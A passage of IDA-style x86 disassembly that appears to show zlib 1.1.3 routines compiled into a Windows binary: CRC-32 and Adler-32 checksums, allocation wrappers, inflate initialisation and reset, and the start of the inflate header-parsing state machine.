cmp [ebp+arg_8], 0
jz short loc_42D998
loc_42D95C: ; CODE XREF: sub_42D7C5+1D1j
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+arg_0]
xor ecx, eax
and ecx, 0FFh
mov edx, [ebp+arg_0]
shr edx, 8
mov eax, dword_4346A4[ecx*4]
xor eax, edx
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
cmp [ebp+arg_8], 0
jnz short loc_42D95C
loc_42D998: ; CODE XREF: sub_42D7C5+195j
mov eax, [ebp+arg_0]
xor eax, 0FFFFFFFFh
loc_42D99E: ; CODE XREF: sub_42D7C5+Bj
pop ebp
retn
sub_42D7C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D9A0 proc near ; DATA XREF: sub_42DD45+133o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
and eax, 0FFFFh
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
shr ecx, 10h
and ecx, 0FFFFh
mov [ebp+var_8], ecx
cmp [ebp+arg_4], 0
jnz short loc_42D9D0
mov eax, 1
jmp loc_42DC13
; ---------------------------------------------------------------------------
loc_42D9D0: ; CODE XREF: sub_42D9A0+24j
; sub_42D9A0+265j
cmp [ebp+arg_8], 0
jbe loc_42DC0A
cmp [ebp+arg_8], 15B0h
jnb short loc_42D9EB
mov edx, [ebp+arg_8]
mov [ebp+var_10], edx
jmp short loc_42D9F2
; ---------------------------------------------------------------------------
loc_42D9EB: ; CODE XREF: sub_42D9A0+41j
mov [ebp+var_10], 15B0h
loc_42D9F2: ; CODE XREF: sub_42D9A0+49j
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
mov ecx, [ebp+arg_8]
sub ecx, [ebp+var_C]
mov [ebp+arg_8], ecx
loc_42DA01: ; CODE XREF: sub_42D9A0+20Cj
cmp [ebp+var_C], 10h
jl loc_42DBB1
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+2]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+3]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+4]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+5]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+6]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+7]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+8]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+9]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+0Ah]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+0Bh]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+0Ch]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+0Dh]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+0Eh]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+0Fh]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
add eax, 10h
mov [ebp+arg_4], eax
mov ecx, [ebp+var_C]
sub ecx, 10h
mov [ebp+var_C], ecx
jmp loc_42DA01
; ---------------------------------------------------------------------------
loc_42DBB1: ; CODE XREF: sub_42D9A0+65j
cmp [ebp+var_C], 0
jz short loc_42DBE7
loc_42DBB7: ; CODE XREF: sub_42D9A0+245j
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_C], ecx
cmp [ebp+var_C], 0
jnz short loc_42DBB7
loc_42DBE7: ; CODE XREF: sub_42D9A0+215j
mov eax, [ebp+var_4]
xor edx, edx
mov ecx, 0FFF1h
div ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
xor edx, edx
mov ecx, 0FFF1h
div ecx
mov [ebp+var_8], edx
jmp loc_42D9D0
; ---------------------------------------------------------------------------
loc_42DC0A: ; CODE XREF: sub_42D9A0+34j
mov eax, [ebp+var_8]
shl eax, 10h
or eax, [ebp+var_4]
loc_42DC13: ; CODE XREF: sub_42D9A0+2Bj
mov esp, ebp
pop ebp
retn
sub_42D9A0 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, offset a1_1_3 ; "1.1.3"
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 2
sub eax, [ebp+8]
mov eax, off_4332D0[eax*4]
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DC35 proc near ; DATA XREF: sub_42DD45+68o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jz short loc_42DC4C
mov eax, [ebp+arg_8]
sub eax, [ebp+arg_8]
mov ecx, [ebp+arg_4]
add ecx, eax
mov [ebp+arg_4], ecx
loc_42DC4C: ; CODE XREF: sub_42DC35+7j
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call dword_433208 ; calloc
add esp, 8
pop ebp
retn
sub_42DC35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DC5F proc near ; DATA XREF: sub_42DD45+85o
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
call dword_4331D4 ; free
add esp, 4
pop ebp
retn
sub_42DC5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DC71 proc near ; CODE XREF: sub_42DD45+172p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jz short loc_42DC83
mov eax, [ebp+arg_0]
cmp dword ptr [eax+1Ch], 0
jnz short loc_42DC8A
loc_42DC83: ; CODE XREF: sub_42DC71+7j
mov eax, 0FFFFFFFEh
jmp short loc_42DCDA
; ---------------------------------------------------------------------------
loc_42DC8A: ; CODE XREF: sub_42DC71+10j
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+14h], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+8], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+18h], 0
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+0Ch]
neg eax
sbb eax, eax
and eax, 7
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx], eax
push 0
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+14h]
push eax
call sub_42B04E
add esp, 0Ch
xor eax, eax
loc_42DCDA: ; CODE XREF: sub_42DC71+17j
pop ebp
retn
sub_42DC71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DCDC proc near ; CODE XREF: sub_42DD45+FEp
; sub_42DD45+15Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jz short loc_42DCF7
mov eax, [ebp+arg_0]
cmp dword ptr [eax+1Ch], 0
jz short loc_42DCF7
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+24h], 0
jnz short loc_42DCFE
loc_42DCF7: ; CODE XREF: sub_42DCDC+7j
; sub_42DCDC+10j
mov eax, 0FFFFFFFEh
jmp short loc_42DD43
; ---------------------------------------------------------------------------
loc_42DCFE: ; CODE XREF: sub_42DCDC+19j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp dword ptr [eax+14h], 0
jz short loc_42DD20
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+14h]
push ecx
call sub_42C565
add esp, 8
loc_42DD20: ; CODE XREF: sub_42DCDC+2Cj
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_0]
call dword ptr [eax+24h]
add esp, 8
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+1Ch], 0
xor eax, eax
loc_42DD43: ; CODE XREF: sub_42DCDC+20j
pop ebp
retn
sub_42DCDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DD45 proc near ; CODE XREF: sub_42F940+163p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], offset a1_1_3_0 ; "1.1.3"
mov [ebp+var_C], 38h
cmp [ebp+var_4], 0
jz short loc_42DD76
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
movsx edx, ds:byte_43786C
cmp ecx, edx
jnz short loc_42DD76
cmp [ebp+var_C], 38h
jz short loc_42DD80
loc_42DD76: ; CODE XREF: sub_42DD45+18j
; sub_42DD45+29j
mov eax, 0FFFFFFFAh
jmp loc_42DEC1
; ---------------------------------------------------------------------------
loc_42DD80: ; CODE XREF: sub_42DD45+2Fj
mov [ebp+var_8], 0FFFFFFF1h
cmp [ebp+arg_0], 0
jnz short loc_42DD97
mov eax, 0FFFFFFFEh
jmp loc_42DEC1
; ---------------------------------------------------------------------------
loc_42DD97: ; CODE XREF: sub_42DD45+46j
mov eax, [ebp+arg_0]
mov dword ptr [eax+18h], 0
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+20h], 0
jnz short loc_42DDBE
mov edx, [ebp+arg_0]
mov dword ptr [edx+20h], offset sub_42DC35
mov eax, [ebp+arg_0]
mov dword ptr [eax+28h], 0
loc_42DDBE: ; CODE XREF: sub_42DD45+63j
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+24h], 0
jnz short loc_42DDD1
mov edx, [ebp+arg_0]
mov dword ptr [edx+24h], offset sub_42DC5F
loc_42DDD1: ; CODE XREF: sub_42DD45+80j
push 18h
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+20h]
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov [ecx+1Ch], eax
mov edx, [ebp+arg_0]
cmp dword ptr [edx+1Ch], 0
jnz short loc_42DDFE
mov eax, 0FFFFFFFCh
jmp loc_42DEC1
; ---------------------------------------------------------------------------
loc_42DDFE: ; CODE XREF: sub_42DD45+ADj
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx+14h], 0
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax+0Ch], 0
cmp [ebp+var_8], 0
jge short loc_42DE33
mov ecx, [ebp+var_8]
neg ecx
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax+0Ch], 1
loc_42DE33: ; CODE XREF: sub_42DD45+D7j
cmp [ebp+var_8], 8
jl short loc_42DE3F
cmp [ebp+var_8], 0Fh
jle short loc_42DE52
loc_42DE3F: ; CODE XREF: sub_42DD45+F2j
mov ecx, [ebp+arg_0]
push ecx
call sub_42DCDC
add esp, 4
mov eax, 0FFFFFFFEh
jmp short loc_42DEC1
; ---------------------------------------------------------------------------
loc_42DE52: ; CODE XREF: sub_42DD45+F8j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [ebp+var_8]
mov [eax+10h], ecx
mov edx, 1
mov ecx, [ebp+var_8]
shl edx, cl
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+0Ch]
neg edx
sbb edx, edx
not edx
and edx, offset sub_42D9A0
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42B105
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx+14h], eax
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp dword ptr [ecx+14h], 0
jnz short loc_42DEB3
mov edx, [ebp+arg_0]
push edx
call sub_42DCDC
add esp, 4
mov eax, 0FFFFFFFCh
jmp short loc_42DEC1
; ---------------------------------------------------------------------------
loc_42DEB3: ; CODE XREF: sub_42DD45+159j
mov eax, [ebp+arg_0]
push eax
call sub_42DC71
add esp, 4
xor eax, eax
loc_42DEC1: ; CODE XREF: sub_42DD45+36j
; sub_42DD45+4Dj ...
mov esp, ebp
pop ebp
retn
sub_42DD45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DEC5 proc near ; CODE XREF: sub_42FB02+26Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_0], 0
jz short loc_42DEE2
mov eax, [ebp+arg_0]
cmp dword ptr [eax+1Ch], 0
jz short loc_42DEE2
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0
jnz short loc_42DEEC
loc_42DEE2: ; CODE XREF: sub_42DEC5+Aj
; sub_42DEC5+13j
mov eax, 0FFFFFFFEh
jmp loc_42E54D
; ---------------------------------------------------------------------------
loc_42DEEC: ; CODE XREF: sub_42DEC5+1Bj
xor edx, edx
cmp [ebp+arg_4], 4
setnz dl
dec edx
and edx, 0FFFFFFFBh
mov [ebp+arg_4], edx
mov [ebp+var_8], 0FFFFFFFBh
loc_42DF03: ; CODE XREF: sub_42DEC5:loc_42E548j
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx]
mov [ebp+var_C], edx
cmp [ebp+var_C], 0Dh
ja loc_42E541
mov eax, [ebp+var_C]
jmp off_42E551[eax*4]
loc_42DF22: ; DATA XREF: TEUm:off_42E551o
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_42DF33
mov eax, [ebp+var_8]
jmp loc_42E54D
; ---------------------------------------------------------------------------
loc_42DF33: ; CODE XREF: sub_42DEC5+64j
mov edx, [ebp+arg_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov [ecx+4], edx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+4]
and ecx, 0Fh
mov edx, [ebp+arg_0]
mov eax, [edx]
add eax, 1
mov edx, [ebp+arg_0]
mov [edx], eax
cmp ecx, 8
jz short loc_42DFAF
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 0Dh
mov edx, [ebp+arg_0]
mov dword ptr [edx+18h], offset aUnknownCompres ; "unknown compression method"
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx+4], 5
jmp loc_42E548
; ---------------------------------------------------------------------------
loc_42DFAF: ; CODE XREF: sub_42DEC5+C0j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+4]
shr ecx, 4
add ecx, 8
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp ecx, [eax+10h]
jbe short loc_42DFF1
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 0Dh
mov eax, [ebp+arg_0]
mov dword ptr [eax+18h], offset aInvalidWindowS ; "invalid window size"
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx+4], 5
jmp loc_42E548
; ---------------------------------------------------------------------------
loc_42DFF1: ; CODE XREF: sub_42DEC5+102j
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 1
loc_42DFFD: ; CODE XREF: sub_42DEC5+56j
; DATA XREF: TEUm:0042E555o
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_42E00E
mov eax, [ebp+var_8]
jmp loc_42E54D
; ---------------------------------------------------------------------------
loc_42E00E: ; CODE XREF: sub_42DEC5+13Fj
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
xor eax, eax
mov al, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+4]
shl eax, 8
add eax, [ebp+var_4]
xor edx, edx
mov ecx, 1Fh
div ecx
test edx, edx
jz short loc_42E08F
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 0Dh
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+18h], offset aIncorrectHeade ; "incorrect header check"
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax+4], 5
jmp loc_42E548
; ---------------------------------------------------------------------------
loc_42E08F: ; CODE XREF: sub_42DEC5+1A0j
mov ecx, [ebp+var_4]
and ecx, 20h
test ecx, ecx
jnz short loc_42E0AA
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 7
jmp loc_42E548
; ---------------------------------------------------------------------------
loc_42E0AA: ; CODE XREF: sub_42DEC5+1D2j
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 2
loc_42E0B6: ; CODE XREF: sub_42DEC5+56j
; DATA XREF: TEUm:0042E559o
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_42E0C7
mov eax, [ebp+var_8]
jmp loc_42E54D
; ---------------------------------------------------------------------------
loc_42E0C7: ; CODE XREF: sub_42DEC5+1F8j
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov edx, [ebp+arg_0]
mov eax, [edx]
xor ecx, ecx
mov cl, [eax]
shl ecx, 18h
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [eax+8], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 3
loc_42E119: ; CODE XREF: sub_42DEC5+56j
; DATA XREF: TEUm:0042E55Do
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_42E12A
mov eax, [ebp+var_8]
jmp loc_42E54D
; ---------------------------------------------------------------------------
loc_42E12A: ; CODE XREF: sub_42DEC5+25Bj
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
xor ecx, ecx
mov cl, [edx]
shl ecx, 10h
mov edx, [eax+8]
add edx, ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov [ecx+8], edx
mov edx, [ebp+arg_0]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 4
loc_42E187: ; CODE XREF: sub_42DEC5+56j
; DATA XREF: TEUm:0042E561o
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_42E198
mov eax, [ebp+var_8]
jmp loc_42E54D
; ---------------------------------------------------------------------------
loc_42E198: ; CODE XREF: sub_42DEC5+2C9j
mov edx, [ebp+arg_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ebp+arg_0]
mov eax, [edx]
xor edx, edx
mov dl, [eax]
shl edx, 8
mov eax, [ecx+8]
add eax, edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx+8], eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 5
loc_42E1F5: ; CODE XREF: sub_42DEC5+56j
; DATA XREF: TEUm:0042E565o
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_42E206
mov eax, [ebp+var_8]
jmp loc_42E54D
; ---------------------------------------------------------------------------
loc_42E206: ; CODE XREF: sub_42DEC5+337j
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [ebp+arg_0]
mov ecx, [eax]
xor eax, eax
mov al, [ecx]
mov ecx, [edx+8]
add ecx, eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [eax+8], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [ebp+arg_0]
mov ecx, [edx+8]
mov [eax+30h], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 6
mov eax, 2
jmp loc_42E54D
; ---------------------------------------------------------------------------
loc_42E279: ; CODE XREF: sub_42DEC5+56j
; DATA XREF: TEUm:0042E569o
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 0Dh
mov eax, [ebp+arg_0]
mov dword ptr [eax+18h], offset aNeedDictionary ; "need dictionary"
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx+4], 0
mov eax, 0FFFFFFFEh
jmp loc_42E54D
; ---------------------------------------------------------------------------
loc_42E2A6: ; CODE XREF: sub_42DEC5+56j
; DATA XREF: TEUm:0042E56Do
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+14h]
push ecx
call sub_42B1FD
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0FFFFFFFDh
jnz short loc_42E2E7
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 0Dh
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx+4], 0
jmp loc_42E548
; ---------------------------------------------------------------------------
loc_42E2E7: ; CODE XREF: sub_42DEC5+402j
cmp [ebp+var_8], 0
jnz short loc_42E2F3
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
loc_42E2F3: ; CODE XREF: sub_42DEC5+426j
cmp [ebp+var_8], 1
jz short loc_42E301
mov eax, [ebp+var_8]
jmp loc_42E54D
; ---------------------------------------------------------------------------
loc_42E301: ; CODE XREF: sub_42DEC5+432j
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
add eax, 4
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+14h]
push ecx
call sub_42B04E
add esp, 0Ch
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp dword ptr [eax+0Ch], 0
jz short loc_42E344
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 0Ch
jmp loc_42E548
; ---------------------------------------------------------------------------
loc_42E344: ; CODE XREF: sub_42DEC5+46Cj
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 8
loc_42E350: ; CODE XREF: sub_42DEC5+56j
; DATA XREF: TEUm:0042E571o
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_42E361
mov eax, [ebp+var_8]
jmp loc_42E54D
; ---------------------------------------------------------------------------
loc_42E361: ; CODE XREF: sub_42DEC5+492j
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
xor eax, eax
mov al, [edx]
shl eax, 18h
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx+8], eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 9
loc_42E3B3: ; CODE XREF: sub_42DEC5+56j
; DATA XREF: TEUm:0042E575o
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_42E3C4
mov eax, [ebp+var_8]
jmp loc_42E54D
; ---------------------------------------------------------------------------
loc_42E3C4: ; CODE XREF: sub_42DEC5+4F5j
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
